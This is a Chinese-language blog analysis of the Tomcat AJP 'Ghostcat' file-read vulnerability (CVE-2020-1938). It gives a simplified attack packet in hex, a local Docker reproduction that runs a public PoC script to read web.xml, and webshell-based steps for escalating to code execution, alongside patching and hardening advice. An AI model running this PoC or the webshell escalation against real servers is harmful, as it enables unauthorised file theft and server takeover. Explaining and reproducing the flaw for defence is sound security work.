漏洞深度剖析:从CVE-2020-1938看Tomcat AJP协议的安全攻防
1. 漏洞背景与影响范围
CVE-2020-1938这个漏洞在安全圈里有个更形象的名字——"幽灵猫"。我第一次听说这个漏洞时,正在给客户做安全评估,突然发现内网好几台Tomcat服务器都中招了。这个漏洞之所以危险,是因为它利用了Tomcat默认开启的AJP协议,攻击者不需要任何认证就能读取服务器上的敏感文件。
AJP协议全称Apache JServ Protocol,是Tomcat为了与其他Web服务器(比如Apache HTTPD)高效通信而设计的二进制协议。默认情况下,Tomcat安装后会开启8009端口监听AJP请求。问题就出在这个协议的设计上——它没有对请求做足够的权限校验,导致攻击者可以构造特殊的数据包来读取任意文件。
受影响的版本范围相当广:
- Tomcat 6全系列
- Tomcat 7 < 7.0.100
- Tomcat 8 < 8.5.51
- Tomcat 9 < 9.0.31
我在实际渗透测试中发现,很多企业还在使用Tomcat 8.5.x的老版本,这就给攻击者留下了可乘之机。最要命的是,如果目标服务器还允许文件上传,这个文件读取漏洞很可能升级为远程代码执行(RCE),相当于拿到了服务器的完全控制权。
2. AJP协议的工作原理与漏洞成因
2.1 AJP协议的工作机制
要理解这个漏洞,得先搞清楚AJP协议是怎么工作的。我抓过几次AJP协议的数据包,发现它和HTTP协议最大的不同在于:
- 采用二进制格式传输数据
- 使用持久化连接
- 默认不加密通信内容
当Tomcat收到AJP请求时,会按照以下流程处理:
- 解析请求头中的属性(比如请求路径、参数等)
- 根据属性定位到对应的Web应用
- 执行相应的Servlet处理逻辑
- 返回响应数据
漏洞就出在第一步——Tomcat对AJP请求中的javax.servlet.include.path_info和javax.servlet.include.servlet_path这两个属性没有做严格校验。攻击者可以构造特殊的属性值,让Tomcat误以为是在处理一个文件包含请求。
2.2 漏洞利用的关键点
我分析过漏洞利用的POC代码,发现攻击者主要利用了以下几个特性:
- 通过AJP协议的
forward_request消息类型发送请求 - 在请求属性中设置
javax.servlet.include.*系列参数 - 通过
req_attribute字段控制文件路径
一个典型的攻击数据包长这样(简化版):
0x0000: 02 03 00 01 0a 00 00 00 01 00 1a 6a 61 76 61 78 0x0010: 2e 73 65 72 76 6c 65 74 2e 69 6e 63 6c 75 64 65 0x0020: 2e 70 61 74 68 5f 69 6e 66 6f 00 01 2f 00 1b 6a 0x0030: 61 76 61 78 2e 73 65 72 76 6c 65 74 2e 69 6e 63 0x0040: 6c 75 64 65 2e 73 65 72 76 6c 65 74 5f 70 61 74 0x0050: 68 00 01 2f这个数据包的关键在于:
- 设置了
javax.servlet.include.path_info属性 - 指定了要读取的文件路径
- 利用了Tomcat对属性值的信任机制
3. 漏洞复现实战演示
3.1 环境搭建
我在本地用Docker搭建了漏洞复现环境,具体步骤如下:
- 拉取存在漏洞的Tomcat镜像:
docker pull tomcat:8.5.32- 启动容器并映射端口:
docker run -d -p 8080:8080 -p 8009:8009 --name vulnerable_tomcat tomcat:8.5.32- 验证服务是否正常运行:
curl http://localhost:80803.2 漏洞验证
使用公开的POC脚本进行测试:
- 下载POC工具:
git clone https://github.com/YDHCUI/CNVD-2020-10488-Tomcat-Ajp-lfi- 执行漏洞检测:
python CNVD-2020-10488-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f /WEB-INF/web.xml- 如果漏洞存在,会返回web.xml文件内容:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <display-name>Welcome to Tomcat</display-name> <description> Welcome to Tomcat </description> </web-app>3.3 进阶利用
如果目标服务器允许文件上传,可以尝试升级为RCE:
- 上传一个包含恶意代码的JSP文件
- 通过AJP协议包含这个文件
- 触发恶意代码执行
我曾在一次渗透测试中,利用这个漏洞成功获取了目标服务器的shell。具体步骤是:
- 先上传一个webshell到服务器的临时目录
- 然后通过AJP协议包含这个webshell
- 最后通过webshell执行系统命令
4. 防御措施与修复方案
4.1 临时解决方案
如果暂时无法升级Tomcat版本,可以采取以下措施:
- 禁用AJP协议: 修改
conf/server.xml文件,注释掉AJP连接器配置:
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->- 配置AJP认证: 如果必须使用AJP协议,可以启用认证机制:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" secretRequired="true" secret="your_secure_password" />4.2 永久修复方案
最安全的做法是升级到修复版本:
- Tomcat 7.0.100+
- Tomcat 8.5.51+
- Tomcat 9.0.31+
升级步骤:
- 备份当前配置和部署的应用
- 下载新版本Tomcat
- 停止旧版本服务
- 部署新版本并恢复配置
- 测试应用是否正常运行
4.3 安全加固建议
根据我的经验,除了修复这个特定漏洞外,还应该:
- 定期更新Tomcat和其他中间件
- 限制AJP协议的访问源IP
- 启用Tomcat的安全管理器
- 配置严格的文件系统权限
- 部署WAF等防护设备
我在给客户做安全加固时,通常会建议他们采用最小权限原则,只开放必要的端口和服务。对于Tomcat来说,如果不需要AJP协议,最好彻底禁用它。
